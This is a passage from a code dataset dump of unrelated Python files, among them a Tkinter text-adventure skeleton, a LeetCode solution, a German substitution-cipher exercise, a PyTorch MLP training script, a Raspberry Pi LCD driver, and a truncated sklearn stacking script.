name\n\t\tself.description = des\n\t\tself.exits = exits\n\t\tself.items = items\n\n\n\"\"\" The level class that is responsible for navigation on the map for that level \"\"\"\n\nclass Level():\n\tdef __init__(self, id, title, intro_text, current_room):\n\t\tself.id = id\n\t\tself.title = title\n\t\tself.intro_text = intro_text\n\t\tself.current_room = current_room\n\n\tdef start(self):\n\n\t\t#print(self.intro_text)\n\t\t#print_level()\n\t\tdraw_ascii('map.txt')\n\t\t#print('\\n\\n\\n\\n Press ENTER to continue...')\n\t\t#a = input()\n\t\tself.level_main()\n\n\tdef show_room(self, room):\n\n\t\tprint('\\n' + room.name.upper() + '\\n')\n\t\tprint(room.description + '\\n')\n\n\n\tdef exit_leads_to(self, exits, direction):\n\n\t\treturn rooms[exits[direction]].name\n\n\tdef print_line(self, direction, leads_to):\n\n\t\tprint('Go ' + direction.upper() + ' to ' + leads_to + '.')\n\n\tdef display_exits(self, exits):\n\t\tprint('Select action:')\n\t\tfor exit in exits:\n\t\t\tself.print_line(exit, self.exit_leads_to(exits, exit))\n\n\tdef exit_selection(self,exits):\n\t\twhile True:\n\n\t\t\t#display the options\n\t\t\tself.display_exits(exits)\n\t\t\t#get input\n\t\t\t#ans = input()\n\t\t\t#normalise input\n\n\t\t\t#validate input\n\n\t\t\treturn ans\n\n\tdef move_player(self, exits, direction):\n\n\t\treturn rooms[exits[direction]]\n\n\t#the level loop\n\tdef level_main(self):\n\t\twhile True:\n\n\t\t\t#Display current situation\n\t\t\tself.show_room(self.current_room)\n\t\t\t#Get exits\n\t\t\texits = self.current_room.exits\n\t\t\t#Let player select exit\n\t\t\tdirection = self.exit_selection(exits)\n\t\t\t#move the player\n\t\t\tself.current_room = self.move_player(exits, direction)\n\n\n\nclass Game():\n\t#constructor called on creation\n\tdef __init__(self, gui, player, level):\n\t\tself.running = True\n\t\tself.title = 'The Game'\n\t\tself.game_levels = level\n\t\tself.player = player\n\t\tself.gui = gui\n\t\tself.update_stat_display()\n\t\tself.update_inv_display()\n\n\t#Displays stats in the stat console\n\tdef update_stat_display(self):\n\t\tplayer_vitals = self.player.stats['health']\n\t\tplayer_health_perc = player_vitals['curh']/player_vitals['maxh']\n\t\tself.gui.add('stats_txt', ' [STATISTICS]\\n\\n')\n\t\tfor desc, amount in self.player.stats['special'].items():\n\t\t\tnum_spaces = 13 - (len(desc) + 2)\n\t\t\tspaces = ''\n\t\t\tfor a in range(0,num_spaces):\n\t\t\t\tspaces += ' '\n\n\t\t\tself.gui.add('stats_txt',' ' + desc.upper() + ': '+ spaces + str(amount) + '\\n')\n\n\t\tcount_hash = player_health_perc * 10\n\t\tcount_dash = 10 - count_hash\n\n\t\thashes = ''\n\t\tfor i in range(0,int(count_hash)):\n\t\t\thashes += '#'\n\n\t\tdashes = ''\n\t\tfor i in range(0,int(count_dash)):\n\t\t\tdashes += '-'\n\n\t\tself.gui.add('stats_txt', '\\n\\n\\n Health:\\n')\n\t\tself.gui.add('stats_txt', ' [' + hashes + dashes +']')\n\n\t\t#self.gui.update('stats_txt', player.name + \"\\n\" + str(player.stats['special']))\n\n\tdef update_inv_display(self):\n\t\tself.gui.add('inv_txt', ' [INVENTORY]\\n\\n')\n\t\tfor item in self.player.inv:\n\t\t\tself.gui.add('inv_txt', ' --- ' + item.id + '\\n')\n\n\n\t#run main loop\n\tdef run_game(self):\n\t\t#while self.running:\n\t\tself.main_menu()\n\n\t#displays the main menu of the game\n\tdef main_menu(self):\n\t\t#Display\n\n\t\tself.gui.add('out_console', draw_ascii('welcome.txt'))\n\t\tself.gui.add('out_console', '\\n\\n\\n\\n')\n\t\t#self.gui.add('out_console', self.title.upper() + '\\n')\n\t\tself.gui.add('out_console', 'Welcome ' + self.player.name + ' ')\n\t\tself.gui.add('out_console', 'Health: ' + str(self.player.stats['health']['curh']) + \"/\" + str(self.player.stats['health']['maxh']) )\n\t\tself.gui.add('choice_console', 'Select:\\n\\n\\t\\t\\ta.New Game\\n\\t\\t\\tb.Load Game\\n\\t\\t\\tc.Exit\\n\\n')\n\n\t\t#Take input\n\t\t#inp = input('->')\n\t\tinp = self.gui.get_input()\n\t\tif inp == 'a':\n\t\t\tself.new_game_menu()\n\n\t\telif inp == 'b':\n\t\t\tpass\n\t\telif inp == 'c':\n\t\t\tquit()\n\t\telse:\n\t\t\tself.gui.main.mainloop()\n\t\t\t#self.gui.add('out_console', 'Enter a valid option')\n\t\t\t#time.sleep(1)\n\n\t#Start a new game at the level of the new player\n\tdef new_game_menu(self):\n\t\tglobal player\n\n\n\t\tself.gui.add('out_console', 'Enter new character name:\\n ')\n\t\tnew_name = input('->')\n\n\t\tself.player.name = new_name\n\t\tself.start_level(self.player)\n\n\t#init the level\n\tdef start_level(self, player):\n\t\tpass\n\n\nclass gui():\n\t#constructor called on creation\n\tdef __init__(self):\n\t\t#TK gui window\n\t\tself.main = Tk ()\n\n\t\t#window background\n\t\t#background_label = Label(self.main, bg = '#445b19')\n\t\tf = GradientFrame(self.main)\n\n\t\t#Input console\n\t\tconsole = Entry(self.main, bg = 'black', fg = 'white', width = 70, insertbackground = 'white')\n\t\tconsole.insert(END, '->')\n\n\t\t#The map\n\t\tmap_label = Label(self.main,text = 'MAP', bg = '#3a3f2d', fg = 'white', width = 20 )\n\n\t\t#Inventory display console\n\t\tinv_txt = Text(self.main, bg = '#262820',fg = 'white', width = 25, height = 15)\n\n\t\t#Stats display console\n\t\tstats_txt = Text(self.main, bg = '#3a3f2d', fg = 'white', width = 25, height = 15)\n\n\t\t#Output console\n\t\tout_console = Text(self.main, bg = 'black', fg = 'white')\n\n\t\t#Choice console\n\t\tchoice_console = Text(self.main, bg = 'black', fg = 'white', height = 10)\n\n\t\t#Display and layout of all components\n\t\tf.place(x=0, y=0, relwidth=1, relheight=1)\n\t\tconsole.grid(row = 4, column = 1, columnspan = 3)\n\t\tmap_label.grid(row = 1, column = 1)\n\t\tinv_txt.grid(row = 1, column = 3, rowspan = 2)\n\t\tstats_txt.grid(row = 2, column = 1)\n\t\tout_console.grid(row = 1, column = 2, rowspan = 2)\n\t\tchoice_console.grid(row = 3, column = 1, columnspan = 3)\n\n\t\tdef callback(event):\n\t\t\tprint('Pressed Enter')\n\n\t\tconsole.bind('', callback)\n\t\tself.locations = {\n\t\t\t'background_label' : f,\n\t\t\t'console' : console,\n\t\t\t'map_label' : map_label,\n\t\t\t'inv_txt' : inv_txt,\n\t\t\t'stats_txt' : stats_txt,\n\t\t\t'out_console' : out_console,\n\t\t\t'choice_console' : choice_console\n\t\t}\n\n\t\t#The main loop\n\t\t#self.main.mainloop()\n\n\tdef update(self, location, input):\n\t\tself.locations[location].delete(1.0, END)\n\t\tself.locations[location].insert(END, input)\n\n\tdef add(self, location, input):\n\t\tself.locations[location].insert(END, input)\n\n\tdef get(self, location):\n\t\tself.locations[location].get(1.0, END)\n\n\tdef get_input(self):\n\t\t\tself.locations['console'].get()\n\n\nclass GradientFrame(Canvas):\n\t'''A gradient frame which uses a canvas to draw the background'''\n\tdef __init__(self, parent, borderwidth=1, relief=\"sunken\"):\n\t\tCanvas.__init__(self, parent, borderwidth=borderwidth, relief=relief)\n\t\tself._color1 = '#152018'\n\t\tself._color2 = '#344e3a'\n\t\tself.bind(\"\", self._draw_gradient)\n\n\tdef _draw_gradient(self, event=None):\n\t\t'''Draw the gradient'''\n\t\tself.delete(\"gradient\")\n\t\twidth = self.winfo_width()\n\t\theight = self.winfo_height()\n\t\tlimit = width\n\t\t(r1,g1,b1) = self.winfo_rgb(self._color1)\n\t\t(r2,g2,b2) = self.winfo_rgb(self._color2)\n\t\tr_ratio = float(r2-r1) / limit\n\t\tg_ratio = float(g2-g1) / limit\n\t\tb_ratio = float(b2-b1) / limit\n\n\t\tfor i in range(limit):\n\t\t\tnr = int(r1 + (r_ratio * i))\n\t\t\tng = int(g1 + (g_ratio * i))\n\t\t\tnb = int(b1 + (b_ratio * i))\n\t\t\tcolor = \"#%4.4x%4.4x%4.4x\" % (nr,ng,nb)\n\t\t\tself.create_line(i,0,i,height, tags=(\"gradient\",), fill=color)\n\t\tself.lower(\"gradient\")\n\nclass Item():\n\tdef __init__(self, id, name, description):\n\t\tself.id = id\n\t\tself.name = name\n\t\tself.description = description\n\n\tdef inspect():\n\t\t#Print out name, description and hints in narration section\n\t\tpass\n","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":8130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"159229511","text":"class Solution:\n def lastStoneWeight(self, stones: List[int]) -> int:\n if len(stones) == 1:\n return \"\".join(str(x) for x in stones)\n\n while(len(stones) > 1):\n x = sorted(stones)[len(stones)-1]\n y = sorted(stones)[len(stones)-2]\n if x == y:\n stones.remove(x)\n stones.remove(y)\n else:\n stones.append(x-y)\n stones.remove(x)\n stones.remove(y)\n\n if len(stones) == 1:\n return \"\".join(str(x) for x in stones)\n else:\n return 0\n","sub_path":"Challenge/30-Day LeetCoding Challenge/Day12_Last_Stone_Weight.py","file_name":"Day12_Last_Stone_Weight.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"489304307","text":"class Coder():\r\n def __init__(self, input):\r\n self.verdict = {'a': 'o', 'b': 'd', 'c': 'm', 'd': 'g', 'e': 'r', 'f': 'w', 'g': 'k',\r\n 'h':'a','i':'t','j':'z','k':'x','l':'b','m':'f','n':'j',\r\n 'o':'p','p':'y','q':'q','r':'i','s':'h','t':'n','u':'c',\r\n 'v':'u','w':'l','x':'y','y':'e','z':'s',' ':'1','L':'za','N':'na'}\r\n\r\n self.entdict = {'o': 'a', 'd': 'b', 'm': 'c', 'g': 'd', 'r': 'e', 'w': 'f', 'k': 'g',\r\n 'a':'h','t':'i','z':'j','x':'k','b':'l','f':'m','j':'n',\r\n 'p':'o','y':'p','q':'q','i':'r','h':'s','n':'t','c':'u',\r\n 'u':'v','l':'w','v':'x','e':'y','s':'z','1':' ','za':'L','na':'N'}\r\n\r\n self.input = input\r\n\r\n def verschluesseln(self):\r\n ver_text = []\r\n for buchstabe in self.input:\r\n neuerbuchstabe = self.verdict[buchstabe]\r\n ver_text.append(neuerbuchstabe)\r\n vert_text = ''.join(x for x in ver_text)\r\n return vert_text\r\n\r\n def entschluesseln(self):\r\n ent_text = []\r\n for buchstabe in self.input:\r\n neuerbuchstabe = self.entdict[buchstabe]\r\n ent_text.append(neuerbuchstabe)\r\n ente_text = ''.join(x for x in ent_text)\r\n return ente_text\r\n\r\nmodus = input('Entschlüsseln(a) oder Verschlüsseln(b)\\n')\r\n\r\nif modus == 'b':\r\n print('Ok, ich verschlüssele')\r\n text = input('Gib einen Text ein\\n')\r\n meinobjekt = Coder(text)\r\n print(meinobjekt.verschluesseln())\r\nelse:\r\n print('Ok, ich entschlüssele')\r\n text = input('Gib einen Text ein\\n')\r\n meineobjekt = Coder(text)\r\n print(meineobjekt.entschluesseln())\r\n\r\n\r\n","sub_path":"Abgaben/ENIGMA_2.0_Leo_Kilian.py","file_name":"ENIGMA_2.0_Leo_Kilian.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"251035283","text":"import torch.nn as nn\nimport torch.nn.functional as F\nfrom base import BaseModel\nimport copy\nimport torch\nimport numpy as np\nimport math\nfrom torch.autograd import Variable\nfrom torch import as_tensor as T, Tensor\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.optim import Adam, RMSprop\nfrom sklearn import metrics\nimport time\n\n\"\"\"\nThis script contains the code to train the MLPs with 20/100 parameters who manage to 'solve' the HEXEvent dataset just \ntaking the length features as input. \n\"\"\"\n\nstart = time.time()\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nprint(f'Training with device={device}')\n\nlr = 5e-3\nbatch =256\nepochs = 150\nseed = 3\n\ntorch.manual_seed(seed)\nnp.random.seed(seed)\n\n# Epoch 148:\n# Training loss: 0.4518568434706136\n# Training AUC: 0.8945468445022248\n# Validation loss: 0.5131238667588485\n# Validation AUC: 0.9000702936870301\nclass MLP100(BaseModel):\n def __init__(self):\n super(MLP100, self).__init__()\n self.fc1 = nn.Linear(3, 20, bias=True)\n self.fc2 = nn.Linear(20, 1, bias=False)\n\n def forward(self, lens):\n x = F.relu(self.fc1(lens))\n x = torch.sigmoid(self.fc2(x))\n return x\n\n# Epoch 146:\n# Training loss: 0.49831184333768386\n# Training AUC: 0.859443620291274\n# Validation loss: 0.5369397150842767\n# Validation AUC: 0.8544548156084086\nclass MLP20(BaseModel):\n def __init__(self):\n super(MLP20, self).__init__()\n self.fc1 = nn.Linear(3, 4, bias=True)\n self.fc2 = nn.Linear(4, 1, bias=False)\n\n def forward(self, lens):\n x = F.relu(self.fc1(lens))\n x = torch.sigmoid(self.fc2(x))\n return x\n\nclass MLPLinear(BaseModel):\n def __init__(self):\n super(MLPLinear, self).__init__()\n self.fc1 = nn.Linear(3, 4, bias=True)\n self.fc2 = nn.Linear(4, 1, bias=False)\n\n def forward(self, lens):\n x = self.fc1(lens)\n x = torch.sigmoid(self.fc2(x))\n return x\n\nmodel = MLP100().to(device)\nprint(model.__str__())\n# optimizer = Adam(model.parameters(), lr=lr, weight_decay=0, amsgrad=True)\noptimizer = RMSprop(model.parameters(), lr=lr)\n\n# original data from DSC paper; can be downloaded online\nx_cons_data = np.load('data/hexevent/x_cons_data.npy').astype(np.float32)\nhx_cas_data = np.load('data/hexevent/x_cas_data_high.npy').astype(np.float32)\nlx_cas_data = np.load('data/hexevent/x_cas_data_low.npy').astype(np.float32)\n# setting 'psi' of constitutive data to 1 (this is a quirk of DSC paper's data format)\nx_cons_data[:, -1, 4] = 1\n\n# pre-processing / shuffling methods taken from DSC GitHub\na = int(x_cons_data.shape[0] / 10)\nb = int(hx_cas_data.shape[0] / 10)\nc = int(lx_cas_data.shape[0] / 10)\n\ns = 0\n# 9 folds for training\ntrain = x_cons_data[:a * s]\ntrain = np.concatenate((train, x_cons_data[a * (s + 1):]), axis=0)\n\nd = int((9 * a) / (9 * (b + c)))\nd = max(1, d)\n# d = 1\nprint(d)\nclassification_task = False\nfor i in range(d): # range(1)\n train = np.concatenate((train, hx_cas_data[:b * s]), axis=0)\n train = np.concatenate((train, hx_cas_data[b * (s + 1):]), axis=0)\n\n train = np.concatenate((train, lx_cas_data[:c * s]), axis=0)\n train = np.concatenate((train, lx_cas_data[c * (s + 1):]), axis=0)\n\nnp.random.seed(0)\nnp.random.shuffle(train)\n\n# 1 fold for testing\n\nhtest = np.concatenate((hx_cas_data[b * s:b * (s + 1)], x_cons_data[a * s:a * (s + 1)]), axis=0)\nlt = np.concatenate((lx_cas_data[c * s:c * (s + 1)], x_cons_data[a * s:a * (s + 1)]), axis=0)\n\ntest = htest\ntest = np.concatenate((test, lx_cas_data[c * s:c * (s + 1)]), axis=0)\n\ncons_test = x_cons_data[a * s:a * (s + 1)]\ncas_test = np.concatenate((lx_cas_data[c * s:c * (s + 1)], hx_cas_data[b * s:b * (s + 1)]))\n\nclass DSCDataset(Dataset):\n \"\"\" Implementation of Dataset class for the synthetic dataset. \"\"\"\n\n def __init__(self, samples):\n # random.seed(0)\n # random.shuffle(samples)\n self.samples = samples\n\n def __len__(self):\n return len(self.samples)\n\n def __getitem__(self, idx):\n return self.samples[idx]\n\ndef auc(output, target):\n with torch.no_grad():\n return metrics.roc_auc_score(target.cpu(), output.cpu())\n\ndef get_lens_target_from_dsc_format(data):\n return data[:, -1, :3], data[:, 140, 0]\n\ntrain = train\n# cons + low + high\nval_all = test\n# cons + low\nval_low = lt\n# cons + high\nval_high = htest\n\ntrain_dataset = DSCDataset(train)\nval_all_dataset = DSCDataset(val_all)\nval_low_dataset = DSCDataset(val_low)\nval_high_dataset = DSCDataset(val_high)\n\nprint('Loaded data')\ninit_kwargs = {\n 'batch_size': batch,\n 'shuffle': True,\n 'num_workers': 0,\n 'drop_last': True\n }\n\ntrain_dataloader = DataLoader(dataset=train_dataset, **init_kwargs)\nval_dataloader = DataLoader(dataset=val_all_dataset, **init_kwargs)\n\nfor epoch in range(epochs):\n batch_loss, batch_auc = 0, 0\n print('-'*40)\n print(f'Epoch {epoch}:')\n for batch_idx, data in enumerate(train_dataloader):\n lens, target = get_lens_target_from_dsc_format(data)\n lens, target = lens.to(device), target.to(device)\n optimizer.zero_grad()\n output = model(lens)\n loss = F.binary_cross_entropy(output.view(-1), target)\n loss.backward()\n optimizer.step()\n\n batch_loss += loss.item()\n batch_auc += auc(output, target)\n batch_loss /= len(train_dataloader)\n batch_auc /= len(train_dataloader)\n\n print(f'Training loss: {batch_loss}')\n print(f'Training AUC: {batch_auc}')\n\n with torch.no_grad():\n batch_loss, batch_auc = 0, 0\n for batch_idx, data in enumerate(val_dataloader):\n lens, target = get_lens_target_from_dsc_format(data)\n lens, target = lens.to(device), target.to(device)\n output = model(lens)\n loss = F.binary_cross_entropy(output.view(-1), target)\n\n batch_loss += loss.item()\n batch_auc += auc(output, target)\n\n batch_loss /= len(val_dataloader)\n batch_auc /= len(val_dataloader)\n\n print(f'Validation loss: {batch_loss}')\n print(f'Validation AUC: {batch_auc}')\n\n\nend = time.time()\nprint(f'Running time: {end-start} s')\n","sub_path":"destruction_of_hexevent.py","file_name":"destruction_of_hexevent.py","file_ext":"py","file_size_in_byte":6159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"77210669","text":"import RPi.GPIO as GPIO\nimport time\n\n\nclass LCD_8_BIT:\n def __init__(self, par_RS=27, par_E=22, par_DATA_0=26, par_DATA_1=19, par_DATA_2=13, par_DATA_3=6, par_DATA_4=21, par_DATA_5=20, par_DATA_6=16, par_DATA_7=12):\n\n self.__RS = par_RS\n self.__E = par_E\n\n self.__DATA_0 = par_DATA_0\n self.__DATA_1 = par_DATA_1\n self.__DATA_2 = par_DATA_2\n self.__DATA_3 = par_DATA_3\n self.__DATA_4 = par_DATA_4\n self.__DATA_5 = par_DATA_5\n self.__DATA_6 = par_DATA_6\n self.__DATA_7 = par_DATA_7\n\n self.__DATA_PINS_LIST = [self.__DATA_0, self.__DATA_1, self.__DATA_2, self.__DATA_3, self.__DATA_4, self.__DATA_5, self.__DATA_6, self.__DATA_7]\n self.__CONTROL_PINS_LIST = [self.__RS, self.__E]\n\n self.__PIN_INIT()\n self.__LCD_INIT()\n\n def __PIN_INIT(self): # Initialize the pins as outputs on the RPI\n GPIO.setmode(GPIO.BCM)\n for pin in self.__CONTROL_PINS_LIST:\n GPIO.setup(pin, GPIO.OUT)\n for pin in self.__DATA_PINS_LIST:\n GPIO.setup(pin, GPIO.OUT)\n print('PIN INITIALIZATION COMPLETE')\n\n def __LCD_INIT(self): # Method to initialize the LCD in 8 BIT MODE\n self.__LCD_RESET()\n time.sleep(0.01)\n self.__LCD_SEND_INIT(0x3C)\n self.__LCD_SEND_INIT(0xc)\n self.__LCD_SEND_INIT(0x01)\n print('LCD INITIALIZATION COMPLETE')\n\n def __LCD_RESET(self): # Method to reset the LCD\n\n self.__LCD_SEND_INIT(0x30)\n time.sleep(0.0041)\n self.__LCD_SEND_INIT(0x30)\n time.sleep(0.0001)\n self.__LCD_SEND_INIT(0x30)\n time.sleep(0.0001)\n self.__LCD_SEND_INIT(0x30)\n print('LCD RESET COMPLETE')\n\n def __LCD_ENABLE(self): # LCD read data command\n GPIO.output(self.__E, GPIO.HIGH)\n time.sleep(0.0004)\n GPIO.output(self.__E, GPIO.LOW)\n\n def __LCD_SEND_INIT(self, DATA):\n GPIO.output(self.__RS, GPIO.LOW)\n Filter = 0x01\n for pin in self.__DATA_PINS_LIST:\n GPIO.output(pin, bool(DATA & Filter))\n Filter *= 2\n time.sleep(0.001)\n self.__LCD_ENABLE()\n\n def __LCD_SET_DATA(self, DATA):\n GPIO.output(self.__RS, GPIO.HIGH)\n Filter = 0x01\n for pin in self.__DATA_PINS_LIST:\n GPIO.output(pin, bool(DATA & Filter))\n Filter *= 2\n time.sleep(0.001)\n self.__LCD_ENABLE()\n\n def LCD_SEND_DATA(self, DATA):\n self.__LCD_SEND_INIT(0x01)\n self.__LCD_SEND_INIT(0x80)\n counter = 0\n for char in DATA:\n self.__LCD_SET_DATA(ord(char))\n time.sleep(0.001)\n if counter == 15:\n self.__LCD_SEND_INIT(0xA9)\n if counter == 31:\n break\n if len(DATA) > 15:\n counter += 1\n print('SEND DATA COMPLETE')\n\n def LCD_OFF(self):\n self.__LCD_SEND_INIT(0X08)\n\n\ntry:\n LCD1 = LCD_8_BIT()\n while True:\n data = str(input('Geef tekst in: '))\n LCD1.LCD_SEND_DATA(data)\n\nexcept KeyboardInterrupt:\n LCD1.LCD_OFF()\n time.sleep(0.001)\n GPIO.cleanup()\n","sub_path":"Week7/CLASS_LCD_8_BIT.py","file_name":"CLASS_LCD_8_BIT.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"259733786","text":"import re\r\nfrom collections import Counter\r\nfrom datetime import datetime as dt\r\nimport nltk\r\nimport numpy as np\r\nfrom .post import Post\r\n\r\ndef parse_date(date_string):\r\n date_string = date_string.split('.')[0]\r\n return dt.strptime(date_string, '%Y-%m-%dT%H:%M:%S')\r\n\r\ndef parse_tags(xml_string):\r\n return re.findall(r'<(.*?)>', xml_string)\r\n\r\ndef parse_body(body_string):\r\n return re.sub('<[^<]+?>', '', body_string.lower().strip())\r\n\r\ndef make_bag_of_words(body_string):\r\n token_counts = Counter(nltk.word_tokenize(body_string))\r\n return token_counts\r\n \r\ndef make_post(xml_elem, base_date, interval_in_mins, post_tag_dict):\r\n post_type = int(xml_elem.get('PostTypeId'))\r\n tags = []\r\n\r\n if(post_type == 1):\r\n post_id = int(xml_elem.get('Id'))\r\n post_tag_dict[post_id] = parse_tags(xml_elem.get('Tags'))\r\n tags = post_tag_dict[post_id]\r\n else:\r\n parent_id = -1\r\n if xml_elem.get('ParentId') != None:\r\n parent_id = int(xml_elem.get('ParentId'))\r\n\r\n if parent_id in post_tag_dict:\r\n tags = post_tag_dict[parent_id]\r\n else:\r\n tags = ['unknown']\r\n post_tag_dict[-1979] = post_tag_dict[-1979] + 1\r\n \r\n user_id = int(xml_elem.get('OwnerUserId'))\r\n \r\n bag_of_words = make_bag_of_words(parse_body(xml_elem.get('Body'))) \r\n date = parse_date(xml_elem.get('CreationDate'))\r\n time_interval = get_time_bin(base_date, interval_in_mins, date)\r\n return Post(user_id, tags, bag_of_words, time_interval) \r\n\r\ndef get_time_bin(base_date, bin_time_interval_in_mins, date):\r\n np_base_date = get_base_date_time(np.datetime64(base_date))\r\n np_date = np.datetime64(date)\r\n return bin_time(np_base_date, np_date, bin_time_interval_in_mins)\r\n\r\ndef get_year_month_day(datetime):\r\n year = datetime.astype(object).year\r\n month = datetime.astype(object).month\r\n day = datetime.astype(object).day\r\n return [year, month, day]\r\n\r\ndef get_base_date_time(datetime):\r\n ymd = get_year_month_day(datetime)\r\n return np.datetime64('{0}-{1:02d}-{2:02d}'.format(ymd[0], ymd[1], ymd[2]))\r\n\r\ndef bin_time(base_datetime, datetime, interval_in_mins):\r\n delta_time = (datetime.astype('datetime64[m]') - base_datetime.astype('datetime64[m]'))\r\n totalMinutes = delta_time.astype(int)\r\n return np.floor(totalMinutes / interval_in_mins).astype(int) + 1\r\n\r\n","sub_path":"dataprocessing/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"361375404","text":"import pygame\npygame.init()\ngdisplay=pygame.display.set_mode((800,600))\npygame.display.set_caption(\"Let's Race\")\nclock = pygame.time.Clock()\ncrashed=False\nwhile not crashed:\n\tfor event in pygame.event.get():\n\t\tif event.type==pygame.QUIT:\n\t\t\tcrashed=True\n\n\t\tprint(event)\n\n\tpygame.display.update()\n\tclock.tick(60)\n\npygame.quit()\nquit()","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"397282048","text":"#!python\n# -*- coding: utf-8 -*-\n\"\"\"\n\t@package:\tcmd.code\n\t@author:\tKRZYSZTOF \"@K0FF.EU\" K0FF\n\t@version:\t2.17.12\n\"\"\"\nimport bx\n\n#\ndef CODE_skip( PARSED, SOURCE ):\n\treturn False\n\ndef CODE_remove( PARSED, SOURCE ):\n\tSOURCE.run()\n\treturn False\n\ndef CODE( PARSED, SOURCE ):\n\tif not bx._FLAG_CODEMODE:\n\t\tSOURCE = SOURCE.compile()\n\tbx.bx._FLAG_CODEMODE = True\n\toutput = SOURCE.run()\n\tbx._FLAG_CODEMODE = False\n\treturn output\n\n#\nGRAB = bx.reg('cmd.code.ungrabbable')\nCODE = bx.reg('cmd.code',{\n\t\t'skip': CODE_skip,\n\t\t'remove': CODE_remove,\n\t\t'code': CODE\n\t})\n\n#\ndef decisioner( PARSED ):\n\tif PARSED.length == 0:\n\t\tif PARSED.alias:\n\t\t\tPARSED.RECIVER = PARSED.alias\n\t\telse:\n\t\t\tPARSED.RECIVER = 'code'\n\t\treturn True\n\telse:\n\t\tPARSED.RECIVER = PARSED.arguments[0].lower()\n\n\tif not PARSED.RECIVER in CODE:\n\t\tbx.error('Unknown cmd.code reciver: \"code:%s\"'%(PARSED.RECIVER))\n\treturn True\n\ndef executor( PARSED, SOURCE ):\n\treturn CODE[PARSED.RECIVER].__call__( PARSED, SOURCE )\n\n#\ndef __blox__():\n\tbx.cmd.reg({\n\t\t\t'code': {\n\t\t\t\t'cmd.executor': executor,\n\t\t\t\t'cmd.decisioner': decisioner,\n\t\t\t\t'cmd.alias': ['skip','remove'],\n\t\t\t\t'args.max': 1\n\t\t\t}\n\t\t})","sub_path":"cmds/_code.py","file_name":"_code.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"198100495","text":"from time import time\n\nimport numpy as np\nimport pandas as pd\nimport xgboost as xgb\nfrom nolearn.lasagne import NeuralNet\nfrom sklearn.cross_validation import StratifiedKFold\nfrom sklearn.ensemble import ExtraTreesClassifier, RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.linear_model import LogisticRegression, SGDClassifier\nfrom sklearn.metrics import log_loss\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC\n\nfrom helper import load_data\nfrom net import scale_train_data, scale_test_data, make_net\n\n# disable pandas warnings\npd.options.mode.chained_assignment = None\nRANDOM_STATE = 42\nTOTAL_NETS = 30\n\n\ndef process_clf(clf, clf_name, train_data, test_data, features, target, n_folds=5):\n neural_net = type(clf) is NeuralNet\n train_data['meta_' + clf_name] = np.zeros(len(train_data))\n test_data['meta_' + clf_name] = np.zeros(len(test_data))\n cross_validation_iterator = StratifiedKFold(train_data[target], n_folds=n_folds, shuffle=True, random_state=42)\n train_logloss = []\n valid_logloss = []\n if neural_net:\n x, y, encoder, scaler = scale_train_data(train_data[features], train_data[target])\n x_test, ids_test = scale_test_data(test_data[features], test_data.shot_id, scaler)\n else:\n x, y = train_data[features], train_data[target]\n x_test, ids_test = test_data[features], test_data.shot_id\n\n for train_indices, valid_indices in cross_validation_iterator:\n # split to train and valid sets\n if neural_net:\n x_train_cv = x[train_indices, :]\n y_train_cv = y[train_indices]\n x_valid_cv = x[valid_indices, :]\n y_valid_cv = y[valid_indices]\n else:\n x_train_cv = x.ix[train_indices, :]\n y_train_cv = y.iloc[train_indices]\n x_valid_cv = x.ix[valid_indices, :]\n y_valid_cv = y.iloc[valid_indices]\n\n # train learner\n clf.fit(x_train_cv, y_train_cv)\n\n # make predictions\n y_train_predicted = clf.predict_proba(x_train_cv)[:, 1]\n y_valid_predicted = clf.predict_proba(x_valid_cv)[:, 1]\n test_predicted = clf.predict_proba(x_test)[:, 1]\n train_data['meta_' + clf_name].iloc[valid_indices] = y_valid_predicted\n test_data['meta_' + clf_name] += test_predicted\n\n # store results\n train_logloss.append(log_loss(y_train_cv, y_train_predicted))\n valid_logloss.append(log_loss(y_valid_cv, y_valid_predicted))\n test_data['meta_' + clf_name] /= n_folds\n return np.mean(train_logloss), np.mean(valid_logloss)\n\n\ndef get_classifiers(n_features, ignored=None):\n classifiers = dict()\n classifiers['rf'] = RandomForestClassifier(n_estimators=250, criterion='gini', max_depth=6, min_samples_split=2,\n min_samples_leaf=5, min_weight_fraction_leaf=0.0, max_features=0.7,\n max_leaf_nodes=None, bootstrap=False, oob_score=False, n_jobs=-1,\n random_state=RANDOM_STATE, verbose=0, warm_start=False,\n class_weight=None)\n classifiers['et'] = ExtraTreesClassifier(n_estimators=250, criterion='gini', max_depth=6, min_samples_split=2,\n min_samples_leaf=5, min_weight_fraction_leaf=0.0, max_features=0.7,\n max_leaf_nodes=None, bootstrap=False, oob_score=False, n_jobs=-1,\n random_state=RANDOM_STATE, verbose=0, warm_start=False, class_weight=None)\n classifiers['xgb'] = xgb.XGBClassifier(base_score=0.5, colsample_bylevel=1, colsample_bytree=0.8, nthread=-1,\n learning_rate=0.01, max_depth=8, min_child_weight=1, n_estimators=600,\n objective='binary:logistic', seed=RANDOM_STATE, silent=True, subsample=0.8)\n classifiers['logreg'] = LogisticRegression(penalty='l2', dual=False, tol=0.0001, C=5.0, fit_intercept=True,\n intercept_scaling=1, class_weight=None, random_state=RANDOM_STATE,\n solver='lbfgs', max_iter=200, multi_class='ovr', verbose=0)\n classifiers['svc'] = SVC(C=5.0, kernel='rbf', 